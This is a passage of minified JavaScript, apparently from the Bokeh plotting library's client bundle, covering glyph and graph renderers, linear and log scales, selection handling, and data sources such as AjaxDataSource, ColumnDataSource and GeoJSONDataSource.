i=Date.now(),n=this.model.data_source;this.all_indices=this.model.view.indices,this.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0}),this.glyph.set_data(n,this.all_indices,e),this.glyph.set_visuals(n),this.decimated_glyph.set_visuals(n),this.have_selection_glyphs()&&(this.selection_glyph.set_visuals(n),this.nonselection_glyph.set_visuals(n)),null!=this.hover_glyph&&this.hover_glyph.set_visuals(n),null!=this.muted_glyph&&this.muted_glyph.set_visuals(n);var r=this.plot_model.plot.lod_factor;this.decimated=[];for(var o=0,s=Math.floor(this.all_indices.length/r);o<s;o++)this.decimated.push(o*r);var a=Date.now()-i;j.logger.debug(this.glyph.model.type+\\\" GlyphRenderer (\\\"+this.model.id+\\\"): set_data finished in \\\"+a+\\\"ms\\\"),this.set_data_timestamp=Date.now(),t&&this.request_render()},t.prototype.render=function(){var r=this;if(this.model.visible){var t=Date.now(),e=this.glyph.glglyph;this.glyph.map_data();var i=Date.now()-t,n=Date.now(),o=this.glyph.mask_data(this.all_indices);o.length===this.all_indices.length&&(o=N.range(0,this.all_indices.length));var s=Date.now()-n,a=this.plot_view.canvas_view.ctx;a.save();var l,h=this.model.data_source.selected;l=!h||h.is_empty()?[]:this.glyph instanceof P.LineView&&h.selected_glyph===this.glyph.model?this.model.view.convert_indices_from_subset(o):h.indices;var u,c=this.model.data_source.inspected;u=c&&0!==c.length?c[\\\"0d\\\"].glyph?this.model.view.convert_indices_from_subset(o):0<c[\\\"1d\\\"].indices.length?c[\\\"1d\\\"].indices:function(){for(var t=[],e=0,i=Object.keys(c[\\\"2d\\\"].indices);e<i.length;e++){var n=i[e];t.push(parseInt(n))}return t}():[];var _,p,d,f=function(){for(var t=[],e=0,i=o;e<i.length;e++){var n=i[e];N.includes(u,r.all_indices[n])&&t.push(n)}return t}(),v=this.plot_model.plot.lod_threshold;null!=this.model.document&&0<this.model.document.interactive_duration()&&!e&&null!=v&&this.all_indices.length>v?(o=this.decimated,_=this.decimated_glyph,p=this.decimated_glyph):(_=this.model.muted&&null!=this.muted_glyph?this.muted_glyph:this.glyph,p=this.nonselection_glyph),d=this.selection_glyph,null!=this.hover_glyph&&f.length&&(o=N.difference(o,f));var m,g=null;if(l.length&&this.have_selection_glyphs()){for(var y=Date.now(),b={},x=0,w=l;x<w.length;x++){var k=w[x];b[k]=!0}var S=new Array,C=new Array;if(this.glyph instanceof P.LineView)for(var T=0,A=this.all_indices;T<A.length;T++){var k=A[T];null!=b[k]?S.push(k):C.push(k)}else for(var E=0,M=o;E<M.length;E++){var k=M[E];null!=b[this.all_indices[k]]?S.push(k):C.push(k)}g=Date.now()-y,m=Date.now(),p.render(a,C,this.glyph),d.render(a,S,this.glyph),null!=this.hover_glyph&&(this.glyph instanceof P.LineView?this.hover_glyph.render(a,this.model.view.convert_indices_from_subset(f),this.glyph):this.hover_glyph.render(a,f,this.glyph))}else m=Date.now(),this.glyph instanceof P.LineView?this.hover_glyph&&f.length?this.hover_glyph.render(a,this.model.view.convert_indices_from_subset(f),this.glyph):_.render(a,this.all_indices,this.glyph):(_.render(a,o,this.glyph),this.hover_glyph&&f.length&&this.hover_glyph.render(a,f,this.glyph));var O=Date.now()-m;this.last_dtrender=O;var z=Date.now()-t;return j.logger.debug(this.glyph.model.type+\\\" GlyphRenderer (\\\"+this.model.id+\\\"): render finished in \\\"+z+\\\"ms\\\"),j.logger.trace(\\\" - map_data finished in       : \\\"+i+\\\"ms\\\"),j.logger.trace(\\\" - mask_data finished in      : \\\"+s+\\\"ms\\\"),null!=g&&j.logger.trace(\\\" - selection mask finished in : \\\"+g+\\\"ms\\\"),j.logger.trace(\\\" - glyph renders finished in  : \\\"+O+\\\"ms\\\"),a.restore()}},t.prototype.draw_legend=function(t,e,i,n,r,o,s,a){null==a&&(a=this.model.get_reference_point(o,s)),this.glyph.draw_legend_for_index(t,{x0:e,x1:i,y0:n,y1:r},a)},t.prototype.hit_test=function(t){if(!this.model.visible)return null;var e=this.glyph.hit_test(t);return null==e?null:this.model.view.convert_selection_from_subset(e)},t}(r.RendererView);i.GlyphRendererView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GlyphRenderer\\\",this.prototype.default_view=h,this.define({x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],data_source:[s.Instance],view:[s.Instance,function(){return new o.CDSView}],glyph:[s.Instance],hover_glyph:[s.Instance],nonselection_glyph:[s.Any,\\\"auto\\\"],selection_glyph:[s.Any,\\\"auto\\\"],muted_glyph:[s.Instance],muted:[s.Bool,!1]}),this.override({level:\\\"glyph\\\"})},t.prototype.initialize=function(){e.prototype.initialize.call(this),null==this.view.source&&(this.view.source=this.data_source,this.view.compute_indices())},t.prototype.get_reference_point=function(t,e){var i=0;if(null!=t){var n=this.data_source.get_column(t);if(null!=n){var r=a.indexOf(n,e);-1!=r&&(i=r)}}return i},t.prototype.get_selection_manager=function(){return this.data_source.selection_manager},t}(r.Renderer);(i.GlyphRenderer=u).initClass()},function(t,e,i){var n=t(391),r=t(189),o=t(147),s=t(15),l=t(4),a=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.initialize=function(t){var e;a.prototype.initialize.call(this,t),this.xscale=this.plot_view.frame.xscales.default,this.yscale=this.plot_view.frame.yscales.default,this._renderer_views={},e=l.build_views(this._renderer_views,[this.model.node_renderer,this.model.edge_renderer],this.plot_view.view_options()),this.node_view=e[0],this.edge_view=e[1],this.set_data()},t.prototype.connect_signals=function(){var t=this;a.prototype.connect_signals.call(this),this.connect(this.model.layout_provider.change,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source._select,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source.inspect,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source.change,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source._select,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source.inspect,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source.change,function(){return t.set_data()});var e=this.plot_model.frame,i=e.x_ranges,n=e.y_ranges;for(var r in i){var o=i[r];this.connect(o.change,function(){return t.set_data()})}for(var s in n){var o=n[s];this.connect(o.change,function(){return t.set_data()})}},t.prototype.set_data=function(t){var e,i;void 0===t&&(t=!0),this.node_view.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0}),this.edge_view.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0});var n=this.node_view.glyph;e=this.model.layout_provider.get_node_coordinates(this.model.node_renderer.data_source),n._x=e[0],n._y=e[1];var r=this.edge_view.glyph;i=this.model.layout_provider.get_edge_coordinates(this.model.edge_renderer.data_source),r._xs=i[0],r._ys=i[1],n.index_data(),r.index_data(),t&&this.request_render()},t.prototype.render=function(){this.edge_view.render(),this.node_view.render()},t}(r.RendererView);i.GraphRendererView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GraphRenderer\\\",this.prototype.default_view=a,this.define({x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],layout_provider:[s.Instance],node_renderer:[s.Instance],edge_renderer:[s.Instance],selection_policy:[s.Instance,function(){return new o.NodesOnly}],inspection_policy:[s.Instance,function(){return new o.NodesOnly}]}),this.override({level:\\\"glyph\\\"})},t.prototype.get_selection_manager=function(){return this.node_renderer.data_source.selection_manager},t}(r.Renderer);(i.GraphRenderer=h).initClass()},function(t,e,i){var n=t(391),r=t(189),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.RendererView);i.GuideRendererView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GuideRenderer\\\",this.define({plot:[o.Instance]}),this.override({level:\\\"overlay\\\"})},t}(r.Renderer);(i.GuideRenderer=a).initClass()},function(t,e,i){var n=t(185);i.GlyphRenderer=n.GlyphRenderer;var r=t(186);i.GraphRenderer=r.GraphRenderer;var o=t(187);i.GuideRenderer=o.GuideRenderer;var s=t(189);i.Renderer=s.Renderer},function(t,e,i){var n=t(391),r=t(6),o=t(49),s=t(15),a=t(59),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view=t.plot_view,this.visuals=new o.Visuals(this.model),this._has_finished=!0},Object.defineProperty(t.prototype,\\\"plot_model\\\",{get:function(){return this.plot_view.model},enumerable:!0,configurable:!0}),t.prototype.request_render=function(){this.plot_view.request_render()},t.prototype.map_to_screen=function(t,e){return this.plot_view.map_to_screen(t,e,this.model.x_range_name,this.model.y_range_name)},Object.defineProperty(t.prototype,\\\"needs_clip\\\",{get:function(){return!1},enumerable:!0,configurable:!0}),t}(r.DOMView);i.RendererView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Renderer\\\",this.define({level:[s.RenderLevel],visible:[s.Bool,!0]})},t}(a.Model);(i.Renderer=h).initClass()},function(t,e,i){var n=t(391),r=t(192),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalScale\\\"},t.prototype.compute=function(t){return e.prototype.compute.call(this,this.source_range.synthetic(t))},t.prototype.v_compute=function(t){return e.prototype.v_compute.call(this,this.source_range.v_synthetic(t))},t}(r.LinearScale);(i.CategoricalScale=o).initClass()},function(t,e,i){var n=t(190);i.CategoricalScale=n.CategoricalScale;var r=t(192);i.LinearScale=r.LinearScale;var o=t(193);i.LogScale=o.LogScale;var s=t(194);i.Scale=s.Scale},function(t,e,i){var n=t(391),r=t(194),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearScale\\\"},t.prototype.compute=function(t){var e=this._compute_state(),i=e[0],n=e[1];return i*t+n},t.prototype.v_compute=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=new Float64Array(t.length),o=0;o<t.length;o++)r[o]=i*t[o]+n;return r},t.prototype.invert=function(t){var e=this._compute_state(),i=e[0],n=e[1];return(t-n)/i},t.prototype.v_invert=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=new Float64Array(t.length),o=0;o<t.length;o++)r[o]=(t[o]-n)/i;return r},t.prototype._compute_state=function(){var t=this.source_range.start,e=this.source_range.end,i=this.target_range.start,n=this.target_range.end,r=(n-i)/(e-t),o=-r*t+i;return[r,o]},t}(r.Scale);(i.LinearScale=o).initClass()},function(t,e,i){var n=t(391),r=t(194),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogScale\\\"},t.prototype.compute=function(t){var e,i=this._compute_state(),n=i[0],r=i[1],o=i[2],s=i[3];if(0==o)e=0;else{var a=(Math.log(t)-s)/o;e=isFinite(a)?a*n+r:NaN}return e},t.prototype.v_compute=function(t){var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=new Float64Array(t.length);if(0==r)for(var a=0;a<t.length;a++)s[a]=0;else for(var a=0;a<t.length;a++){var l=(Math.log(t[a])-o)/r,h=void 0;h=isFinite(l)?l*i+n:NaN,s[a]=h}return s},t.prototype.invert=function(t){var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=(t-n)/i;return Math.exp(r*s+o)},t.prototype.v_invert=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=new Float64Array(t.length),a=0;a<t.length;a++){var l=(t[a]-n)/i;s[a]=Math.exp(r*l+o)}return s},t.prototype._get_safe_factor=function(t,e){var i,n=t<0?0:t,r=e<0?0:e;if(n==r)if(0==n)n=(i=[1,10])[0],r=i[1];else{var o=Math.log(n)/Math.log(10);n=Math.pow(10,Math.floor(o)),r=Math.ceil(o)!=Math.floor(o)?Math.pow(10,Math.ceil(o)):Math.pow(10,Math.ceil(o)+1)}return[n,r]},t.prototype._compute_state=function(){var t,e,i=this.source_range.start,n=this.source_range.end,r=this.target_range.start,o=this.target_range.end,s=o-r,a=this._get_safe_factor(i,n),l=a[0],h=a[1];0==l?(t=Math.log(h),e=0):(t=Math.log(h)-Math.log(l),e=Math.log(l));var u=s,c=r;return[u,c,t,e]},t}(r.Scale);(i.LogScale=o).initClass()},function(t,e,i){var n=t(391),r=t(274),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Scale\\\",this.internal({source_range:[o.Any],target_range:[o.Any]})},t.prototype.r_compute=function(t,e){return this.target_range.is_reversed?[this.compute(e),this.compute(t)]:[this.compute(t),this.compute(e)]},t.prototype.r_invert=function(t,e){return this.target_range.is_reversed?[this.invert(e),this.invert(t)]:[this.invert(t),this.invert(e)]},t}(r.Transform);(i.Scale=s).initClass()},function(t,e,i){var n=t(391);n.__exportStar(t(196),i);var r=t(197);i.Selection=r.Selection},function(t,e,i){var n=t(391),r=t(59),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.do_selection=function(t,e,i,n){return null!==t&&(e.selected.update(t,i,n),e._select.emit(),!e.selected.is_empty())},e}(r.Model);(i.SelectionPolicy=o).prototype.type=\\\"SelectionPolicy\\\";var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.hit_test=function(t,e){for(var i=[],n=0,r=e;n<r.length;n++){var o=r[n],s=o.hit_test(t);null!==s&&i.push(s)}if(0<i.length){for(var a=i[0],l=0,h=i;l<h.length;l++){var u=h[l];a.update_through_intersection(u)}return a}return null},e}(o);(i.IntersectRenderers=s).prototype.type=\\\"IntersectRenderers\\\";var a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.hit_test=function(t,e){for(var i=[],n=0,r=e;n<r.length;n++){var o=r[n],s=o.hit_test(t);null!==s&&i.push(s)}if(0<i.length){for(var a=i[0],l=0,h=i;l<h.length;l++){var u=h[l];a.update_through_union(u)}return a}return null},e}(o);(i.UnionRenderers=a).prototype.type=\\\"UnionRenderers\\\"},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(21),a=t(32),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Selection\\\",this.define({indices:[o.Array,[]],line_indices:[o.Array,[]],multiline_indices:[o.Any,{}]}),this.internal({final:[o.Boolean],selected_glyphs:[o.Array,[]],get_view:[o.Any],image_indices:[o.Array,[]]})},t.prototype.initialize=function(){var t=this;e.prototype.initialize.call(this),this[\\\"0d\\\"]={glyph:null,indices:[],flag:!1,get_view:function(){return null}},this[\\\"2d\\\"]={indices:{}},this[\\\"1d\\\"]={indices:this.indices},this.get_view=function(){return null},this.connect(this.properties.indices.change,function(){return t[\\\"1d\\\"].indices=t.indices}),this.connect(this.properties.line_indices.change,function(){t[\\\"0d\\\"].indices=t.line_indices,0==t.line_indices.length?t[\\\"0d\\\"].flag=!1:t[\\\"0d\\\"].flag=!0}),this.connect(this.properties.selected_glyphs.change,function(){return t[\\\"0d\\\"].glyph=t.selected_glyph}),this.connect(this.properties.get_view.change,function(){return t[\\\"0d\\\"].get_view=t.get_view}),this.connect(this.properties.multiline_indices.change,function(){return t[\\\"2d\\\"].indices=t.multiline_indices})},Object.defineProperty(t.prototype,\\\"selected_glyph\\\",{get:function(){return 0<this.selected_glyphs.length?this.selected_glyphs[0]:null},enumerable:!0,configurable:!0}),t.prototype.add_to_selected_glyphs=function(t){this.selected_glyphs.push(t)},t.prototype.update=function(t,e,i){this.final=e,i?this.update_through_union(t):(this.indices=t.indices,this.line_indices=t.line_indices,this.selected_glyphs=t.selected_glyphs,this.get_view=t.get_view,this.multiline_indices=t.multiline_indices,this.image_indices=t.image_indices)},t.prototype.clear=function(){this.final=!0,this.indices=[],this.line_indices=[],this.multiline_indices={},this.get_view=function(){return null},this.selected_glyphs=[]},t.prototype.is_empty=function(){return 0==this.indices.length&&0==this.line_indices.length&&0==this.image_indices.length},t.prototype.update_through_union=function(t){this.indices=s.union(t.indices,this.indices),this.selected_glyphs=s.union(t.selected_glyphs,this.selected_glyphs),this.line_indices=s.union(t.line_indices,this.line_indices),this.get_view()||(this.get_view=t.get_view),this.multiline_indices=a.merge(t.multiline_indices,this.multiline_indices)},t.prototype.update_through_intersection=function(t){this.indices=s.intersection(t.indices,this.indices),this.selected_glyphs=s.union(t.selected_glyphs,this.selected_glyphs),this.line_indices=s.union(t.line_indices,this.line_indices),this.get_view()||(this.get_view=t.get_view),this.multiline_indices=a.merge(t.multiline_indices,this.multiline_indices)},t}(r.Model);(i.Selection=l).initClass()},function(t,e,i){var n=t(391),r=t(205),o=t(14),_=t(44),s=t(15),a=function(i){function t(t){var e=i.call(this,t)||this;return e.initialized=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"AjaxDataSource\\\",this.define({mode:[s.String,\\\"replace\\\"],content_type:[s.String,\\\"application/json\\\"],adapter:[s.Any],http_headers:[s.Any,{}],max_size:[s.Number],method:[s.String,\\\"POST\\\"],if_modified:[s.Bool,!1]})},t.prototype.destroy=function(){null!=this.interval&&clearInterval(this.interval),i.prototype.destroy.call(this)},t.prototype.setup=function(){var t=this;!this.initialized&&(this.initialized=!0,this.get_data(this.mode),this.polling_interval)&&(this.interval=setInterval(function(){return t.get_data(t.mode,t.max_size,t.if_modified)},this.polling_interval))},t.prototype.get_data=function(t,e,i){var n=this;void 0===e&&(e=0),void 0===i&&(i=!1);var r=this.prepare_request();r.addEventListener(\\\"load\\\",function(){return n.do_load(r,t,e)}),r.addEventListener(\\\"error\\\",function(){return n.do_error(r)}),r.send()},t.prototype.prepare_request=function(){var t=new XMLHttpRequest;t.open(this.method,this.data_url,!0),t.withCredentials=!1,t.setRequestHeader(\\\"Content-Type\\\",this.content_type);var e=this.http_headers;for(var i in e){var n=e[i];t.setRequestHeader(i,n)}return t},t.prototype.do_load=function(t,e,i){if(200===t.status){var n=JSON.parse(t.responseText),r=this.adapter,o={};switch(o=null!=r?_.isFunction(r)?r(this,{response:n}):r.execute(this,{response:n}):n,e){case\\\"replace\\\":this.data=o;break;case\\\"append\\\":for(var s=this.data,a=0,l=this.columns();a<l.length;a++){var h=l[a],u=Array.from(s[h]),c=Array.from(o[h]);o[h]=u.concat(c).slice(-i)}this.data=o}}},t.prototype.do_error=function(t){o.logger.error(\\\"Failed to fetch JSON from \\\"+this.data_url+\\\" with code \\\"+t.status)},t}(r.RemoteDataSource);(i.AjaxDataSource=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(197),a=t(21),l=t(201),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CDSView\\\",this.define({filters:[o.Array,[]],source:[o.Instance]}),this.internal({indices:[o.Array,[]],indices_map:[o.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.compute_indices()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.filters.change,function(){t.compute_indices(),t.change.emit()}),null!=this.source&&(null!=this.source.change&&this.connect(this.source.change,function(){return t.compute_indices()}),null!=this.source.streaming&&this.connect(this.source.streaming,function(){return t.compute_indices()}),null!=this.source.patching&&this.connect(this.source.patching,function(){return t.compute_indices()}))},t.prototype.compute_indices=function(){var e=this,r=this.filters.map(function(t){return t.compute_indices(e.source)});0<(r=function(){for(var t=[],e=0,i=r;e<i.length;e++){var n=i[e];null!=n&&t.push(n)}return t}()).length?this.indices=a.intersection.apply(this,r):this.source instanceof l.ColumnarDataSource&&(this.indices=this.source.get_indices()),this.indices_map_to_subset()},t.prototype.indices_map_to_subset=function(){this.indices_map={};for(var t=0;t<this.indices.length;t++)this.indices_map[this.indices[t]]=t},t.prototype.convert_selection_from_subset=function(t){var e=this,i=new s.Selection;i.update_through_union(t);var n=t.indices.map(function(t){return e.indices[t]});return i.indices=n,i.image_indices=t.image_indices,i},t.prototype.convert_selection_to_subset=function(t){var e=this,i=new s.Selection;i.update_through_union(t);var n=t.indices.map(function(t){return e.indices_map[t]});return i.indices=n,i.image_indices=t.image_indices,i},t.prototype.convert_indices_from_subset=function(t){var e=this;return t.map(function(t){return e.indices[t]})},t}(r.Model);(i.CDSView=h).initClass()},function(t,e,i){var n=t(391),r=t(201),o=t(8),s=t(15),k=t(29),h=t(36),S=t(44),u=t(43),c=t(32),a=t(51);function _(t,e,i){if(S.isArray(t)){var n=t.concat(e);return null!=i&&n.length>i?n.slice(-i):n}if(S.isTypedArray(t)){var r=t.length+e.length;if(null!=i&&i<r){var o=r-i,s=t.length,n=void 0;t.length<i?(n=new t.constructor(i)).set(t,0):n=t;for(var a=o,l=s;a<l;a++)n[a-o]=n[a];for(var a=0,l=e.length;a<l;a++)n[a+(s-o)]=e[a];return n}var h=new t.constructor(e);return u.concat(t,h)}throw new Error(\\\"unsupported array types\\\")}function C(t,e){var i,n,r;return S.isNumber(t)?(r=(i=t)+1,n=1):(i=null!=t.start?t.start:0,r=null!=t.stop?t.stop:e,n=null!=t.step?t.step:1),[i,r,n]}function p(t,e,i){for(var n=new k.Set,r=!1,o=0,s=e;o<s.length;o++){var a=s[o],l=a[0],h=a[1],u=void 0,c=void 0;if(S.isArray(l)){var _=l[0];n.add(_),c=i[_],u=t[_]}else S.isNumber(l)?(h=[h],n.add(l)):r=!0,l=[0,0,l],c=[1,t.length],u=t;2===l.length&&(c=[1,c[0]],l=[l[0],0,l[1]]);for(var p=0,d=C(l[1],c[0]),f=d[0],v=d[1],m=d[2],g=C(l[2],c[1]),y=g[0],b=g[1],x=g[2],_=f;_<v;_+=m)for(var w=y;w<b;w+=x)r&&n.add(w),u[_*c[1]+w]=h[p],p++}return n}i.stream_to_column=_,i.slice=C,i.patch_to_column=p;var l=function(e){function l(t){return e.call(this,t)||this}return n.__extends(l,e),l.initClass=function(){this.prototype.type=\\\"ColumnDataSource\\\",this.define({data:[s.Any,{}]})},l.prototype.initialize=function(){var t;e.prototype.initialize.call(this),t=h.decode_column_data(this.data),this.data=t[0],this._shapes=t[1]},l.prototype.attributes_as_json=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=l._value_to_json);for(var i={},n=this.serializable_attributes(),r=0,o=c.keys(n);r<o.length;r++){var s=o[r],a=n[s];\\\"data\\\"===s&&(a=h.encode_column_data(a,this._shapes)),t?i[s]=a:s in this._set_after_defaults&&(i[s]=a)}return e(\\\"attributes\\\",i,this)},l._value_to_json=function(t,e,i){return S.isPlainObject(e)&&\\\"data\\\"===t?h.encode_column_data(e,i._shapes):o.HasProps._value_to_json(t,e,i)},l.prototype.stream=function(t,e,i){var n=this.data;for(var r in t)n[r]=_(n[r],t[r],e);if(this.setv({data:n},{silent:!0}),this.streaming.emit(),null!=this.document){var o=new a.ColumnsStreamedEvent(this.document,this.ref(),t,e);this.document._notify_change(this,\\\"data\\\",null,null,{setter_id:i,hint:o})}},l.prototype.patch=function(t,e){var i=this.data,n=new k.Set;for(var r in t){var o=t[r];n=n.union(p(i[r],o,this._shapes[r]))}if(this.setv({data:i},{silent:!0}),this.patching.emit(n.values),null!=this.document){var s=new a.ColumnsPatchedEvent(this.document,this.ref(),t);this.document._notify_change(this,\\\"data\\\",null,null,{setter_id:e,hint:s})}},l}(r.ColumnarDataSource);(i.ColumnDataSource=l).initClass()},function(t,e,i){var n=t(391),r=t(202),o=t(19),s=t(14),a=t(17),l=t(15),h=t(44),u=t(21),c=t(32),_=t(197),p=t(196),d=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.get_array=function(t){var e=this.data[t];return null==e?this.data[t]=e=[]:h.isArray(e)||(this.data[t]=e=Array.from(e)),e},t.initClass=function(){this.prototype.type=\\\"ColumnarDataSource\\\",this.define({selection_policy:[l.Instance,function(){return new p.UnionRenderers}]}),this.internal({selection_manager:[l.Instance,function(t){return new a.SelectionManager({source:t})}],inspected:[l.Instance,function(){return new _.Selection}],_shapes:[l.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._select=new o.Signal0(this,\\\"select\\\"),this.inspect=new o.Signal(this,\\\"inspect\\\"),this.streaming=new o.Signal0(this,\\\"streaming\\\"),this.patching=new o.Signal(this,\\\"patching\\\")},t.prototype.get_column=function(t){var e=this.data[t];return null!=e?e:null},t.prototype.columns=function(){return c.keys(this.data)},t.prototype.get_length=function(t){void 0===t&&(t=!0);var e=u.uniq(c.values(this.data).map(function(t){return t.length}));switch(e.length){case 0:return null;case 1:return e[0];default:var i=\\\"data source has columns of inconsistent lengths\\\";if(t)return s.logger.warn(i),e.sort()[0];throw new Error(i)}},t.prototype.get_indices=function(){var t=this.get_length();return u.range(0,null!=t?t:1)},t.prototype.clear=function(){for(var t={},e=0,i=this.columns();e<i.length;e++){var n=i[e];t[n]=new this.data[n].constructor}this.data=t},t}(r.DataSource);(i.ColumnarDataSource=d).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=t(197),l=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DataSource\\\",this.define({selected:[o.Instance,function(){return new a.Selection}],callback:[o.Any]})},t.prototype.connect_signals=function(){var e=this;i.prototype.connect_signals.call(this),this.connect(this.properties.selected.change,function(){var t=e.callback;null!=t&&(s.isFunction(t)?t(e):t.execute(e))})},t}(r.Model);(i.DataSource=l).initClass()},function(t,e,i){var n=t(391),r=t(201),b=t(14),o=t(15),s=t(21),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GeoJSONDataSource\\\",this.define({geojson:[o.Any]}),this.internal({data:[o.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._update_data()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.geojson.change,function(){return t._update_data()})},t.prototype._update_data=function(){this.data=this.geojson_to_column_data()},t.prototype._get_new_list_array=function(t){return s.range(0,t).map(function(t){return[]})},t.prototype._get_new_nan_array=function(t){return s.range(0,t).map(function(t){return NaN})},t.prototype._add_properties=function(t,e,i,n){var r=t.properties||{};for(var o in r)e.hasOwnProperty(o)||(e[o]=this._get_new_nan_array(n)),e[o][i]=r[o]},t.prototype._add_geometry=function(t,e,i){function n(t){return null!=t?t:NaN}function r(t,e){return t.concat([[NaN,NaN,NaN]]).concat(e)}switch(t.type){case\\\"Point\\\":var o=t.coordinates,s=o[0],a=o[1],l=o[2];e.x[i]=s,e.y[i]=a,e.z[i]=n(l);break;case\\\"LineString\\\":for(var h=t.coordinates,u=0;u<h.length;u++){var c=h[u],s=c[0],a=c[1],l=c[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"Polygon\\\":1<t.coordinates.length&&b.logger.warn(\\\"Bokeh does not support Polygons with holes in, only exterior ring used.\\\");for(var _=t.coordinates[0],u=0;u<_.length;u++){var p=_[u],s=p[0],a=p[1],l=p[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"MultiPoint\\\":b.logger.warn(\\\"MultiPoint not supported in Bokeh\\\");break;case\\\"MultiLineString\\\":for(var h=t.coordinates.reduce(r),u=0;u<h.length;u++){var d=h[u],s=d[0],a=d[1],l=d[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"MultiPolygon\\\":for(var f=[],v=0,m=t.coordinates;v<m.length;v++){var g=m[v];1<g.length&&b.logger.warn(\\\"Bokeh does not support Polygons with holes in, only exterior ring used.\\\"),f.push(g[0])}for(var h=f.reduce(r),u=0;u<h.length;u++){var y=h[u],s=y[0],a=y[1],l=y[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;default:throw new Error(\\\"Invalid GeoJSON geometry type: \\\"+t.type)}},t.prototype.geojson_to_column_data=function(){var t,e=JSON.parse(this.geojson);switch(e.type){case\\\"GeometryCollection\\\":if(null==e.geometries)throw new Error(\\\"No geometries found in GeometryCollection\\\");if(0===e.geometries.length)throw new Error(\\\"geojson.geometries must have one or more items\\\");t=e.geometries;break;case\\\"FeatureCollection\\\":if(null==e.features)throw new Error(\\\"No features found in FeaturesCollection\\\");if(0==e.features.length)throw new Error(\\\"geojson.features must have one or more items\\\");t=e.features;break;default:throw new Error(\\\"Bokeh only supports type GeometryCollection and FeatureCollection at top level\\\")}for(var i=0,n=0,r=t;n<r.length;n++){var o=r[n],s=\\\"Feature\\\"===o.type?o.geometry:o;\\\"GeometryCollection\\\"==s.type?i+=s.geometries.length:i+=1}for(var a={x:this._get_new_nan_array(i),y:this._get_new_nan_array(i),z:this._get_new_nan_array(i),xs:this._get_new_list_array(i),ys:this._get_new_list_array(i),zs:this._get_new_list_array(i)},l=0,h=0,u=t;h<u.length;h++){var o=u[h],s=\\\"Feature\\\"==o.type?o.geometry:o;if(\\\"GeometryCollection\\\"==s.type)for(var c=0,_=s.geometries;c<_.length;c++){var p=_[c];this._add_geometry(p,a,l),\\\"Feature\\\"===o.type&&this._add_properties(o,a,l,i),l+=1}else this._add_geometry(s,a,l),\\\"Feature\\\"===o.type&&this._add_properties(o,a,l,i),l+=1}return a},t}(r.ColumnarDataSource);(i.GeoJSONDataSource=a).initClass()},function(t,e,i){var n=t(198);i.AjaxDataSource=n.AjaxDataSource;var r=t(200);i.ColumnDataSource=r.ColumnDataSource;var 